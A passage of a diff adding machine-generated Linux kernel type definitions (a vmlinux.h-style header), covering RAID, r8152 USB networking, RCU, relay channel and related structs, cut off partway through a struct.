+struct r1bio { + atomic_t remaining; + atomic_t behind_remaining; + sector_t sector; + int sectors; + unsigned long state; + struct mddev *mddev; + struct bio *master_bio; + int read_disk; + struct list_head retry_list; + struct bio *behind_master_bio; + struct bio *bios[0]; +}; + +struct raid1_info; + +struct r1conf { + struct mddev *mddev; + struct raid1_info *mirrors; + int raid_disks; + int nonrot_disks; + spinlock_t device_lock; + struct list_head retry_list; + struct list_head bio_end_io_list; + struct bio_list pending_bio_list; + wait_queue_head_t wait_barrier; + spinlock_t resync_lock; + atomic_t nr_sync_pending; + atomic_t *nr_pending; + atomic_t *nr_waiting; + atomic_t *nr_queued; + atomic_t *barrier; + int array_frozen; + int fullsync; + int recovery_disabled; + struct pool_info *poolinfo; + mempool_t r1bio_pool; + mempool_t r1buf_pool; + struct bio_set bio_split; + struct page *tmppage; + struct md_thread __attribute__((btf_type_tag("rcu"))) *thread; + sector_t cluster_sync_low; + sector_t cluster_sync_high; +}; + +struct raid5_percpu; + +struct r5worker_group; + +struct r5l_log; + +struct r5pending_data; + +struct r5conf { + struct hlist_head *stripe_hashtbl; + spinlock_t hash_locks[8]; + struct mddev *mddev; + int chunk_sectors; + int level; + int algorithm; + int rmw_level; + int max_degraded; + int raid_disks; + int max_nr_stripes; + int min_nr_stripes; + sector_t reshape_progress; + sector_t reshape_safe; + int previous_raid_disks; + int prev_chunk_sectors; + int prev_algo; + short generation; + seqcount_spinlock_t gen_lock; + unsigned long reshape_checkpoint; + long long min_offset_diff; + struct list_head handle_list; + struct list_head loprio_list; + struct list_head hold_list; + struct list_head delayed_list; + struct list_head bitmap_list; + struct bio *retry_read_aligned; + unsigned int retry_read_offset; + struct bio *retry_read_aligned_list; + atomic_t preread_active_stripes; + atomic_t active_aligned_reads; + atomic_t pending_full_writes; + int bypass_count; + int bypass_threshold; + int skip_copy; + struct list_head *last_hold; + atomic_t reshape_stripes; + int active_name; + char cache_name[64]; + struct kmem_cache *slab_cache; + struct mutex cache_size_mutex; + int seq_flush; + int seq_write; + int quiesce; + int fullsync; + int recovery_disabled; + struct raid5_percpu __attribute__((btf_type_tag("percpu"))) *percpu; + int scribble_disks; + int scribble_sectors; + struct hlist_node node; + atomic_t active_stripes; + struct list_head inactive_list[8]; + atomic_t r5c_cached_full_stripes; + struct list_head r5c_full_stripe_list; + atomic_t r5c_cached_partial_stripes; + struct list_head r5c_partial_stripe_list; + atomic_t r5c_flushing_full_stripes; + atomic_t r5c_flushing_partial_stripes; + atomic_t empty_inactive_list_nr; + struct llist_head released_stripes; + wait_queue_head_t wait_for_quiescent; + wait_queue_head_t wait_for_stripe; + wait_queue_head_t wait_for_reshape; + unsigned long cache_state; + struct shrinker *shrinker; + int pool_size; + spinlock_t device_lock; + struct disk_info *disks; + struct bio_set bio_split; + struct md_thread __attribute__((btf_type_tag("rcu"))) *thread; + struct list_head temp_inactive_list[8]; + struct r5worker_group *worker_groups; + int group_cnt; + int worker_cnt_per_group; + struct r5l_log *log; + void *log_private; + spinlock_t pending_bios_lock; + bool batch_bio_dispatch; + struct r5pending_data *pending_data; + struct list_head free_list; + struct list_head pending_list; + int pending_data_cnt; + struct r5pending_data *next_pending_data; +}; + +struct r5dev { + struct bio req; + struct bio rreq; + struct bio_vec vec; + struct bio_vec rvec; + struct page *page; + struct page *orig_page; + unsigned int offset; + struct bio *toread; + struct bio *read; + struct bio *towrite; + struct bio *written; + sector_t sector; + unsigned long flags; + u32 log_checksum; + unsigned short write_hint; +}; + +struct r5l_io_unit { + struct r5l_log *log; + struct page *meta_page; + int meta_offset; + struct bio *current_bio; + atomic_t pending_stripe; + u64 seq; + sector_t log_start; + sector_t log_end; + struct list_head log_sibling; + struct list_head stripe_list; + int state; + bool need_split_bio; + struct bio *split_bio; + unsigned int has_flush: 1; + unsigned int has_fua: 1; + unsigned int has_null_flush: 1; + unsigned int has_flush_payload: 1; + unsigned int io_deferred: 1; + struct bio_list flush_barriers; +}; + +struct r5l_log { + struct md_rdev *rdev; + u32 uuid_checksum; + sector_t device_size; + sector_t max_free_space; + sector_t last_checkpoint; + u64 last_cp_seq; + sector_t log_start; + u64 seq; + sector_t next_checkpoint; + struct mutex io_mutex; + struct r5l_io_unit *current_io; + spinlock_t io_list_lock; + struct list_head running_ios; + struct list_head io_end_ios; + struct list_head flushing_ios; + struct list_head finished_ios; + struct bio flush_bio; + struct list_head no_mem_stripes; + struct kmem_cache *io_kc; + mempool_t io_pool; + struct bio_set bs; + mempool_t meta_pool; + struct md_thread __attribute__((btf_type_tag("rcu"))) *reclaim_thread; + unsigned long reclaim_target; + wait_queue_head_t iounit_wait; + struct list_head no_space_stripes; + spinlock_t no_space_stripes_lock; + bool need_cache_flush; + enum r5c_journal_mode r5c_journal_mode; + struct list_head stripe_in_journal_list; + spinlock_t stripe_in_journal_lock; + atomic_t stripe_in_journal_count; + struct work_struct deferred_io_work; + struct work_struct disable_writeback_work; + spinlock_t tree_lock; + struct xarray big_stripe_tree; +}; + +struct r5l_payload_header { + __le16 type; + __le16 flags; +}; + +struct r5l_meta_block { + __le32 magic; + __le32 checksum; + __u8 version; + __u8 __zero_pading_1; + __le16 __zero_pading_2; + __le32 meta_size; + __le64 seq; + __le64 position; + struct r5l_payload_header payloads[0]; +}; + +struct r5l_payload_data_parity { + struct r5l_payload_header header; + __le32 size; + __le64 location; + __le32 checksum[0]; +}; + +struct r5l_payload_flush { + struct r5l_payload_header header; + __le32 size; + __le64 flush_stripes[0]; +}; + +struct r5l_recovery_ctx { + struct page *meta_page; + sector_t meta_total_blocks; + sector_t pos; + u64 seq; + int data_parity_stripes; + int data_only_stripes; + struct list_head cached_list; + struct page *ra_pool[256]; + struct bio_vec ra_bvec[256]; + sector_t pool_offset; + int total_pages; + int valid_pages; +}; + +struct r5pending_data { + struct list_head sibling; + sector_t sector; + struct bio_list bios; +}; + +struct r5worker { + struct work_struct work; + struct r5worker_group *group; + struct list_head temp_inactive_list[8]; + bool working; +}; + +struct r5worker_group { + struct list_head handle_list; + struct list_head loprio_list; + struct r5conf *conf; + struct r5worker *workers; + int stripes_cnt; +}; + +struct r8152; + +struct tx_agg { + struct list_head list; + struct urb *urb; + struct r8152 *context; + void *buffer; + void *head; + u32 skb_num; + u32 skb_len; +}; + +struct rtl_ops { + void (*init)(struct r8152 *); + int (*enable)(struct r8152 *); + void (*disable)(struct r8152 *); + void (*up)(struct r8152 *); + void (*down)(struct r8152 *); + void (*unload)(struct r8152 *); + int (*eee_get)(struct r8152 *, struct ethtool_keee *); + int (*eee_set)(struct r8152 *, struct ethtool_keee *); + bool (*in_nway)(struct r8152 *); + void (*hw_phy_cfg)(struct r8152 *); + void (*autosuspend_en)(struct r8152 *, bool); + void (*change_mtu)(struct r8152 *); +}; + +struct ups_info { + u32 r_tune: 1; + u32 _10m_ckdiv: 1; + u32 _250m_ckdiv: 1; + u32 aldps: 1; + u32 lite_mode: 2; + u32 speed_duplex: 4; + u32 eee: 1; + u32 eee_lite: 1; + u32 eee_ckdiv: 1; + u32 eee_plloff_100: 1; + u32 eee_plloff_giga: 1; + u32 eee_cmod_lv: 1; + u32 green: 1; + u32 flow_control: 1; + u32 ctap_short_off: 1; +}; + +struct rtl_fw { + const char *fw_name; + const struct firmware *fw; + char version[32]; + int (*pre_fw)(struct r8152 *); + int (*post_fw)(struct r8152 *); + bool retry; +}; + +struct usb_interface; + +struct r8152 { + unsigned long flags; + struct usb_device *udev; + struct napi_struct napi; + struct usb_interface *intf; + struct net_device *netdev; + struct urb *intr_urb; + struct tx_agg tx_info[4]; + struct list_head rx_info; + struct list_head rx_used; + struct list_head rx_done; + struct list_head tx_free; + struct sk_buff_head tx_queue; + struct sk_buff_head rx_queue; + spinlock_t rx_lock; + spinlock_t tx_lock; + struct delayed_work schedule; + struct delayed_work hw_phy_work; + struct mii_if_info mii; + struct mutex control; + struct notifier_block pm_notifier; + struct tasklet_struct tx_tl; + struct rtl_ops rtl_ops; + struct ups_info ups_info; + struct rtl_fw rtl_fw; + atomic_t rx_count; + bool eee_en; + int intr_interval; + u32 saved_wolopts; + u32 msg_enable; + u32 tx_qlen; + u32 coalesce; + u32 advertising; + u32 rx_buf_sz; + u32 rx_copybreak; + u32 rx_pending; + u32 fc_pause_on; + u32 fc_pause_off; + unsigned int pipe_in; + unsigned int pipe_out; + unsigned int pipe_intr; + unsigned int pipe_ctrl_in; + unsigned int pipe_ctrl_out; + u32 support_2500full: 1; + u32 lenovo_macpassthru: 1; + u32 dell_tb_rx_agg_bug: 1; + u16 ocp_base; + u16 speed; + u16 eee_adv; + u8 *intr_buff; + u8 version; + u8 duplex; + u8 autoneg; + unsigned int reg_access_reset_count; +}; + +struct ra_msg { + struct icmp6hdr icmph; + __be32 reachable_time; + __be32 retrans_timer; +}; + +struct radiotap_align_size { + uint8_t align: 4; + uint8_t size: 4; +}; + +struct xa_node; + +struct radix_tree_iter { + unsigned long index; + unsigned long next_index; + unsigned long tags; + struct xa_node *node; +}; + +struct radix_tree_preload { + local_lock_t lock; + unsigned int nr; + struct xa_node *nodes; +}; + +struct raid10_info { + struct md_rdev *rdev; + struct md_rdev *replacement; + sector_t head_position; + int recovery_disabled; +}; + +struct raid1_info { + struct md_rdev *rdev; + sector_t head_position; + sector_t next_seq_sect; + sector_t seq_start; +}; + +struct raid1_plug_cb { + struct blk_plug_cb cb; + struct bio_list pending; + unsigned int count; +}; + +struct raid56_bio_trace_info { + u64 devid; + u32 offset; + u8 stripe_nr; +}; + +struct raid5_percpu { + struct page *spare_page; + void *scribble; + int scribble_obj_size; + local_lock_t lock; +}; + +struct raid5_plug_cb { + struct blk_plug_cb cb; + struct list_head list; + struct list_head temp_inactive_list[8]; +}; + +struct raid6_avx2_constants { + u64 x1d[4]; +}; + +struct raid6_avx512_constants { + u64 x1d[8]; +}; + +struct raid6_calls { + void (*gen_syndrome)(int, size_t, void **); + void (*xor_syndrome)(int, int, int, size_t, void **); + int (*valid)(void); + const char *name; + int priority; +}; + +struct raid6_recov_calls { + void (*data2)(int, size_t, int, int, void **); + void (*datap)(int, size_t, int, void **); + int (*valid)(void); + const char *name; + int priority; +}; + +struct raid6_sse_constants { + u64 x1d[2]; +}; + +struct raid_kobject { + u64 flags; + struct kobject kobj; +}; + +struct ramfs_mount_opts { + umode_t mode; +}; + +struct ramfs_fs_info { + struct ramfs_mount_opts mount_opts; +}; + +struct rand_data { + void *hash_state; + __u64 prev_time; + __u64 last_delta; + __s64 last_delta2; + unsigned int flags; + unsigned int osr; + unsigned char *mem; + unsigned int memlocation; + unsigned int memblocks; + unsigned int memblocksize; + unsigned int memaccessloops; + unsigned int rct_count; + unsigned int apt_cutoff; + unsigned int apt_cutoff_permanent; + unsigned int apt_observations; + unsigned int apt_count; + unsigned int apt_base; + unsigned int health_failure; + unsigned int apt_base_set: 1; +}; + +struct rapl_model { + struct perf_msr *rapl_msrs; + unsigned long events; + unsigned int msr_power_unit; + enum rapl_unit_quirk unit_quirk; +}; + +struct rapl_pmu { + raw_spinlock_t lock; + int n_active; + int cpu; + struct list_head active_list; + struct pmu *pmu; + ktime_t timer_interval; + struct hrtimer hrtimer; +}; + +struct rapl_pmus { + struct pmu pmu; + unsigned int nr_rapl_pmu; + struct rapl_pmu *pmus[0]; +}; + +struct rate_control_ops; + +struct rate_control_alg { + struct list_head list; + const struct rate_control_ops *ops; +}; + +struct rate_control_ops { + unsigned long capa; + const char *name; + void * (*alloc)(struct ieee80211_hw *); + void (*add_debugfs)(struct ieee80211_hw *, void *, struct dentry *); + void (*free)(void *); + void * (*alloc_sta)(void *, struct ieee80211_sta *, gfp_t); + void (*rate_init)(void *, struct ieee80211_supported_band *, struct cfg80211_chan_def *, struct ieee80211_sta *, void *); + void (*rate_update)(void *, struct ieee80211_supported_band *, struct cfg80211_chan_def *, struct ieee80211_sta *, void *, u32); + void (*free_sta)(void *, struct ieee80211_sta *, void *); + void (*tx_status_ext)(void *, struct ieee80211_supported_band *, void *, struct ieee80211_tx_status *); + void (*tx_status)(void *, struct ieee80211_supported_band *, struct ieee80211_sta *, void *, struct sk_buff *); + void (*get_rate)(void *, struct ieee80211_sta *, void *, struct ieee80211_tx_rate_control *); + void (*add_sta_debugfs)(void *, void *, struct dentry *); + u32 (*get_expected_throughput)(void *); +}; + +struct rate_control_ref { + const struct rate_control_ops *ops; + void *priv; +}; + +struct rate_sample { + u64 prior_mstamp; + u32 prior_delivered; + u32 prior_delivered_ce; + s32 delivered; + s32 delivered_ce; + long interval_us; + u32 snd_interval_us; + u32 rcv_interval_us; + long rtt_us; + int losses; + u32 acked_sacked; + u32 prior_in_flight; + u32 last_end_seq; + bool is_app_limited; + bool is_retrans; + bool is_ack_delayed; +}; + +struct raw6_frag_vec { + struct msghdr *msg; + int hlen; + char c[4]; +}; + +struct raw6_sock { + struct inet_sock inet; + __u32 checksum; + __u32 offset; + struct icmp6_filter filter; + __u32 ip6mr_table; + struct ipv6_pinfo inet6; +}; + +struct raw_data_entry { + struct trace_entry ent; + unsigned int id; + char buf[0]; +}; + +struct raw_frag_vec { + struct msghdr *msg; + union { + struct icmphdr icmph; + char c[1]; + } hdr; + int hlen; +}; + +struct raw_hashinfo { + spinlock_t lock; + struct hlist_head ht[256]; +}; + +struct raw_iter_state { + struct seq_net_private p; + int bucket; +}; + +struct raw_sock { + struct inet_sock inet; + struct icmp_filter filter; + u32 ipmr_table; +}; + +struct rb_augment_callbacks { + void (*propagate)(struct rb_node *, struct rb_node *); + void (*copy)(struct rb_node *, struct rb_node *); + void (*rotate)(struct rb_node *, struct rb_node *); +}; + +struct rb_event_info { + u64 ts; + u64 delta; + u64 before; + u64 after; + unsigned long length; + struct buffer_page *tail_page; + int add_timestamp; +}; + +struct rb_irq_work { + struct irq_work work; + wait_queue_head_t waiters; + wait_queue_head_t full_waiters; + atomic_t seq; + bool waiters_pending; + bool full_waiters_pending; + bool wakeup_full; +}; + +struct rb_list { + struct rb_root root; + struct list_head head; + spinlock_t lock; +}; + +struct rb_simple_node { + struct rb_node rb_node; + u64 bytenr; +}; + +struct rb_time_struct { + local64_t time; +}; + +typedef struct rb_time_struct rb_time_t; + +struct rb_wait_data { + struct rb_irq_work *irq_work; + int seq; +}; + +struct rc_map_table; + +struct rc_map { + struct rc_map_table *scan; + unsigned int size; + unsigned int len; + unsigned int alloc; + enum rc_proto rc_proto; + const char *name; + spinlock_t lock; +}; + +struct rc_scancode_filter { + u32 data; + u32 mask; +}; + +struct rc_dev { + struct device dev; + bool managed_alloc; + const struct attribute_group *sysfs_groups[5]; + const char *device_name; + const char *input_phys; + struct input_id input_id; + const char *driver_name; + const char *map_name; + struct rc_map rc_map; + struct mutex lock; + unsigned int minor; + struct ir_raw_event_ctrl *raw; + struct input_dev *input_dev; + enum rc_driver_type driver_type; + bool idle; + bool encode_wakeup; + u64 allowed_protocols; + u64 enabled_protocols; + u64 allowed_wakeup_protocols; + enum rc_proto wakeup_protocol; + struct rc_scancode_filter scancode_filter; + struct rc_scancode_filter scancode_wakeup_filter; + u32 scancode_mask; + u32 users; + void *priv; + spinlock_t keylock; + bool keypressed; + unsigned long keyup_jiffies; + struct timer_list timer_keyup; + struct timer_list timer_repeat; + u32 last_keycode; + enum rc_proto last_protocol; + u64 last_scancode; + u8 last_toggle; + u32 timeout; + u32 min_timeout; + u32 max_timeout; + u32 rx_resolution; + bool registered; + int (*change_protocol)(struct rc_dev *, u64 *); + int (*open)(struct rc_dev *); + void (*close)(struct rc_dev *); + int (*s_tx_mask)(struct rc_dev *, u32); + int (*s_tx_carrier)(struct rc_dev *, u32); + int (*s_tx_duty_cycle)(struct rc_dev *, u32); + int (*s_rx_carrier_range)(struct rc_dev *, u32, u32); + int (*tx_ir)(struct rc_dev *, unsigned int *, unsigned int); + void (*s_idle)(struct rc_dev *, bool); + int (*s_wideband_receiver)(struct rc_dev *, int); + int (*s_carrier_report)(struct rc_dev *, int); + int (*s_filter)(struct rc_dev *, struct rc_scancode_filter *); + int (*s_wakeup_filter)(struct rc_dev *, struct rc_scancode_filter *); + int (*s_timeout)(struct rc_dev *, unsigned int); +}; + +struct rc_filter_attribute { + struct device_attribute attr; + enum rc_filter_type type; + bool mask; +}; + +struct rc_map_list { + struct list_head list; + struct rc_map map; +}; + +struct rc_map_table { + u64 scancode; + u32 keycode; +}; + +struct rchan_callbacks; + +struct rchan_buf; + +struct rchan { + u32 version; + size_t subbuf_size; + size_t n_subbufs; + size_t alloc_size; + const struct rchan_callbacks *cb; + struct kref kref; + void *private_data; + size_t last_toobig; + struct rchan_buf * __attribute__((btf_type_tag("percpu"))) *buf; + int is_global; + struct list_head list; + struct dentry *parent; + int has_base_filename; + char base_filename[255]; +}; + +struct rchan_buf { + void *start; + void *data; + size_t offset; + size_t subbufs_produced; + size_t subbufs_consumed; + struct rchan *chan; + wait_queue_head_t read_wait; + struct irq_work wakeup_work; + struct dentry *dentry; + struct kref kref; + struct page **page_array; + unsigned int page_count; + unsigned int finalized; + size_t *padding; + size_t prev_padding; + size_t bytes_consumed; + size_t early_bytes; + unsigned int cpu; + long: 64; + long: 64; + long: 64; +}; + +struct rchan_callbacks { + int (*subbuf_start)(struct rchan_buf *, void *, void *, size_t); + struct dentry * (*create_buf_file)(const char *, struct dentry *, umode_t, struct rchan_buf *, int *); + int (*remove_buf_file)(struct dentry *); +}; + +struct rchan_percpu_buf_dispatcher { + struct rchan_buf *buf; + struct dentry *dentry; +}; + +struct rcu_cblist { + struct callback_head *head; + struct callback_head **tail; + long len; +}; + +union rcu_noqs { + struct { + u8 norm; + u8 exp; + } b; + u16 s; +}; + +struct rcu_segcblist { + struct callback_head *head; + struct callback_head **tails[4]; + unsigned long gp_seq[4]; + atomic_long_t len; + long seglen[4]; + u8 flags; +}; + +struct rcu_snap_record { + unsigned long gp_seq; + u64 cputime_irq; + u64 cputime_softirq; + u64 cputime_system; + unsigned long nr_hardirqs; + unsigned int nr_softirqs; + unsigned long long nr_csw; + unsigned long jiffies; +}; + +struct rcu_node; + +struct rcu_data { + unsigned long gp_seq; + unsigned long gp_seq_needed; + union rcu_noqs cpu_no_qs; + bool core_needs_qs; + bool beenonline; + bool gpwrap; + bool cpu_started; + struct rcu_node *mynode; + unsigned long grpmask; + unsigned long ticks_this_gp; + struct irq_work defer_qs_iw; + bool defer_qs_iw_pending; + struct work_struct strict_work; + struct rcu_segcblist cblist; + long qlen_last_fqs_check; + unsigned long n_cbs_invoked; + unsigned long n_force_qs_snap; + long blimit; + int watching_snap; + bool rcu_need_heavy_qs; + bool rcu_urgent_qs; + bool rcu_forced_tick; + bool rcu_forced_tick_exp; + unsigned long barrier_seq_snap; + struct callback_head barrier_head; + int exp_watching_snap; + struct swait_queue_head nocb_cb_wq; + struct swait_queue_head nocb_state_wq; + struct task_struct *nocb_gp_kthread; + raw_spinlock_t nocb_lock; + int nocb_defer_wakeup; + struct timer_list nocb_timer; + unsigned long nocb_gp_adv_time; + struct mutex nocb_gp_kthread_mutex; + long: 64; + raw_spinlock_t nocb_bypass_lock; + struct rcu_cblist nocb_bypass; + unsigned long nocb_bypass_first; + unsigned long nocb_nobypass_last; + int nocb_nobypass_count; + long: 64; + long: 64; + raw_spinlock_t nocb_gp_lock; + u8 nocb_gp_sleep; + u8 nocb_gp_bypass; + u8 nocb_gp_gp; + unsigned long nocb_gp_seq; + unsigned long nocb_gp_loops; + struct swait_queue_head nocb_gp_wq; + bool nocb_cb_sleep; + struct task_struct *nocb_cb_kthread; + struct list_head nocb_head_rdp; + struct list_head nocb_entry_rdp; + struct rcu_data *nocb_toggling_rdp; + long: 64; + long: 64; + long: 64; + long: 64; + struct rcu_data *nocb_gp_rdp; + struct task_struct *rcu_cpu_kthread_task; + unsigned int rcu_cpu_kthread_status; + char rcu_cpu_has_work; + unsigned long rcuc_activity; + unsigned int softirq_snap; + struct irq_work rcu_iw; + bool rcu_iw_pending; + unsigned long rcu_iw_gp_seq; + unsigned long rcu_ofl_gp_seq; + short rcu_ofl_gp_state; + unsigned long rcu_onl_gp_seq; + short rcu_onl_gp_state; + unsigned long last_fqs_resched; + unsigned long last_sched_clock; + struct rcu_snap_record snap_record; + long lazy_len; + int cpu; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct rcu_exp_work { + unsigned long rew_s; + struct kthread_work rew_work; +}; + +struct rcu_node { + raw_spinlock_t lock; + unsigned long gp_seq; + unsigned long gp_seq_needed; + unsigned long completedqs; + unsigned long qsmask; + unsigned long rcu_gp_init_mask; + unsigned long qsmaskinit; + unsigned long qsmaskinitnext; + unsigned long expmask; + unsigned long expmaskinit; + unsigned long expmaskinitnext; + struct kthread_worker *exp_kworker; + unsigned long cbovldmask; + unsigned long ffmask; + unsigned long grpmask; + int grplo; + int grphi; + u8 grpnum; + u8 level; + bool wait_blkd_tasks; + struct rcu_node *parent; + struct list_head blkd_tasks; + struct list_head *gp_tasks; + struct list_head *exp_tasks; + struct list_head *boost_tasks; + struct rt_mutex boost_mtx; + unsigned long boost_time; + struct mutex kthread_mutex; + struct task_struct *boost_kthread_task; + unsigned int boost_kthread_status; + unsigned long n_boosts; + struct swait_queue_head nocb_gp_wq[2]; + raw_spinlock_t fqslock; + spinlock_t exp_lock; + unsigned long exp_seq_rq; + wait_queue_head_t exp_wq[4]; + struct rcu_exp_work rew; + bool exp_need_flush; + raw_spinlock_t exp_poll_lock; + unsigned long exp_seq_poll_rq; + struct work_struct exp_poll_wq; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +union rcu_special { + struct { + u8 blocked; + u8 need_qs; + u8 exp_hint; + u8 need_mb; + } b; + u32 s; +}; + +struct rcu_stall_chk_rdr { + int nesting; + union rcu_special rs; + bool on_blkd_list; +}; + +struct sr_wait_node { + atomic_t inuse; + struct llist_node node; +}; + +struct rcu_state { + struct rcu_node node[521]; + struct rcu_node *level[4]; + int ncpus; + int n_online_cpus; + long: 64; + long: 64; + long: 64; + unsigned long gp_seq; + unsigned long gp_max; + struct task_struct *gp_kthread; + struct swait_queue_head gp_wq; + short gp_flags; + short gp_state; + unsigned long gp_wake_time; + unsigned long gp_wake_seq; + unsigned long gp_seq_polled; + unsigned long gp_seq_polled_snap; + unsigned long gp_seq_polled_exp_snap; + struct mutex barrier_mutex; + atomic_t barrier_cpu_count; + struct completion barrier_completion; + unsigned long barrier_sequence; + raw_spinlock_t barrier_lock; + struct mutex exp_mutex; + struct mutex exp_wake_mutex; + unsigned long expedited_sequence; + atomic_t expedited_need_qs; + struct swait_queue_head expedited_wq; + int ncpus_snap; + u8 cbovld; + u8 cbovldnext; + unsigned long jiffies_force_qs; + unsigned long jiffies_kick_kthreads; + unsigned long n_force_qs; + unsigned long gp_start; + unsigned long gp_end; + unsigned long gp_activity; + unsigned long gp_req_activity; + unsigned long jiffies_stall; + int nr_fqs_jiffies_stall; + unsigned long jiffies_resched; + unsigned long n_force_qs_gpstart; + const char *name; + char abbr; + long: 0; + arch_spinlock_t ofl_lock; + struct llist_head srs_next; + struct llist_node *srs_wait_tail; + struct llist_node *srs_done_tail; + struct sr_wait_node srs_wait_nodes[5]; + struct work_struct srs_cleanup_work; + atomic_t srs_cleanups_pending; + struct mutex nocb_mutex; + int nocb_is_setup; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct rcu_string { + struct callback_head rcu; + char str[0]; +}; + +struct rcu_synchronize { + struct callback_head head; + struct completion completion; +}; + +struct rcu_tasks; + +typedef void (*rcu_tasks_gp_func_t)(struct rcu_tasks *); + +typedef void (*pregp_func_t)(struct list_head *); + +typedef void (*pertask_func_t)(struct task_struct *, struct list_head *); + +typedef void (*postscan_func_t)(struct list_head *); + +typedef void (*holdouts_func_t)(struct list_head *, bool, bool *); + +typedef void (*postgp_func_t)(struct rcu_tasks *); + +typedef void (*rcu_callback_t)(struct callback_head *); + +typedef void (*call_rcu_func_t)(struct callback_head *, rcu_callback_t); + +struct rcu_tasks_percpu; + +struct rcu_tasks { + struct rcuwait cbs_wait; + raw_spinlock_t cbs_gbl_lock; + struct mutex tasks_gp_mutex; + int gp_state; + int gp_sleep; + int init_fract; + unsigned long gp_jiffies; + unsigned long gp_start; + unsigned long tasks_gp_seq; + unsigned long n_ipis; + unsigned long n_ipis_fails; + struct task_struct *kthread_ptr; + unsigned long lazy_jiffies; + rcu_tasks_gp_func_t gp_func; + pregp_func_t pregp_func; + pertask_func_t pertask_func; + postscan_func_t postscan_func; + holdouts_func_t holdouts_func; + postgp_func_t postgp_func; + call_rcu_func_t call_func; + unsigned int wait_state; + struct rcu_tasks_percpu __attribute__((btf_type_tag("percpu"))) *rtpcpu; + struct rcu_tasks_percpu **rtpcp_array; + int percpu_enqueue_shift; + int percpu_enqueue_lim; + int percpu_dequeue_lim; + unsigned long percpu_dequeue_gpseq; + struct mutex barrier_q_mutex; + atomic_t barrier_q_count; + struct completion barrier_q_completion; + unsigned long barrier_q_seq; + unsigned long barrier_q_start; + char *name; + char *kname; +}; + +struct rcu_tasks_percpu { + struct rcu_segcblist cblist; + raw_spinlock_t lock; + unsigned long rtp_jiffies; + unsigned long rtp_n_lock_retries; + struct timer_list lazy_timer; + unsigned int urgent_gp; + struct work_struct rtp_work; + struct irq_work rtp_irq_work; + struct callback_head barrier_q_head; + struct list_head rtp_blkd_tasks; + struct list_head rtp_exit_list; + int cpu; + int index; + struct rcu_tasks *rtpp; +}; + +struct rcu_tasks_test_desc { + struct callback_head rh; + const char *name; + bool notrun; + unsigned long runstart; +}; + +struct rd_msg { + struct icmp6hdr icmph; + struct in6_addr target; + struct in6_addr dest; + __u8 opt[0]; +}; + +struct rdev_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct md_rdev *, char *); + ssize_t (*store)(struct md_rdev *, const char *, size_t); +}; + +struct rdma_cgroup { + struct cgroup_subsys_state css; + struct list_head rpools; +}; + +struct rdmacg_device { + struct list_head dev_node; + struct list_head rpools; + char *name; +}; + +struct rdmacg_resource { + int max; + int usage; +}; + +struct rdmacg_resource_pool { + struct rdmacg_device *device; + struct rdmacg_resource resources[2]; + struct list_head cg_node; + struct list_head dev_node; + u64 usage_sum; + int num_max_cnt; +}; + +struct read_balance_ctl { + sector_t closest_dist; + int closest_dist_disk; + int min_pending; + int min_pending_disk; + int sequential_disk; + int readable_disks; +}; + +struct readahead_control { + struct file *file; + struct address_space *mapping; + struct file_ra_state *ra; + unsigned long _index; + unsigned int _nr_pages; + unsigned int _batch_count; + bool _workingset; + unsigned long _pflags; +}; + +struct readdir_callback { + struct dir_context ctx; + struct old_linux_dirent __attribute__((btf_type_tag("user"))) *dirent; + int result; +}; + +struct real_mode_header { + u32 text_start; + u32 ro_end; + u32 trampoline_start; + u32 trampoline_header; + u32 trampoline_start64; + u32 trampoline_pgd; + u32 wakeup_start; + u32 wakeup_header; + u32 machine_real_restart_asm; + u32 machine_real_restart_seg; +}; + +struct virtnet_rq_stats { + struct u64_stats_sync syncp; + u64_stats_t packets; + u64_stats_t bytes; + u64_stats_t drops; + u64_stats_t xdp_packets; + u64_stats_t xdp_tx; + u64_stats_t xdp_redirects; + u64_stats_t xdp_drops; + u64_stats_t kicks; +}; + +struct virtnet_interrupt_coalesce { + u32 max_packets; + u32 max_usecs; +}; + +struct virtqueue; + +struct virtnet_rq_dma; + +struct receive_queue { + struct virtqueue *vq; + struct napi_struct napi; + struct bpf_prog __attribute__((btf_type_tag("rcu"))) *xdp_prog; + struct virtnet_rq_stats stats; + u16 calls; + bool dim_enabled; + struct mutex dim_lock; + struct dim dim; + u32 packets_in_napi; + struct virtnet_interrupt_coalesce intr_coal; + struct page *pages; + struct ewma_pkt_len mrg_avg_pkt_len; + struct page_frag alloc_frag; + struct scatterlist sg[19]; + unsigned int min_buf_len; + char name[16]; + struct xdp_rxq_info xdp_rxq; + struct virtnet_rq_dma *last_dma; + struct xsk_buff_pool *xsk_pool; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct xdp_rxq_info xsk_rxq_info; + struct xdp_buff **xsk_buffs; + bool do_dma; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct reciprocal_value_adv { + u32 m; + u8 sh; + u8 exp; + bool is_wide_m; +}; + +struct reclaim_stat { + unsigned int nr_dirty; + unsigned int nr_unqueued_dirty; + unsigned int nr_congested; + unsigned int nr_writeback; + unsigned int nr_immediate; + unsigned int nr_pageout; + unsigned int nr_activate[2]; + unsigned int nr_ref_keep; + unsigned int nr_unmap_fail; + unsigned int nr_lazyfree_fail; + unsigned int nr_demoted; +}; + +struct reclaim_state { + unsigned long reclaimed; +}; + +struct recorded_ref { + struct list_head list; + char *name; + struct fs_path *full_path; + u64 dir; + u64 dir_gen; + int name_len; + struct rb_node node; + struct rb_root *root; +}; + +struct recovery_info { + tid_t start_transaction; + tid_t end_transaction; + unsigned long head_block; + int nr_replays; + int nr_revokes; + int nr_revoke_hits; +}; + +struct reg { + u32 addr; + bool is64; +}; + +struct reg_beacon { + struct list_head list; + struct ieee80211_channel chan; +}; + +struct reg_regdb_apply_request { + struct list_head list; + const struct ieee80211_regdomain *regdom; +}; + +typedef int (*regex_match_func)(char *, struct regex *, int); + +struct regex { + char pattern[256]; + int len; + int field_len; + regex_match_func match; +}; + +struct region { + unsigned int start; + unsigned int off; + unsigned int group_len; + unsigned int end; + unsigned int nbits; +}; + +struct region_devres { + struct resource *parent; + resource_size_t start; + resource_size_t n; +}; + +struct regulatory_request { + struct callback_head callback_head; + int wiphy_idx; + enum nl80211_reg_initiator initiator; + enum nl80211_user_reg_hint_type user_reg_hint_type; + char alpha2[3]; + enum nl80211_dfs_regions dfs_region; + bool intersect; + bool processed; + enum environment_cap country_ie_env; + struct list_head list; 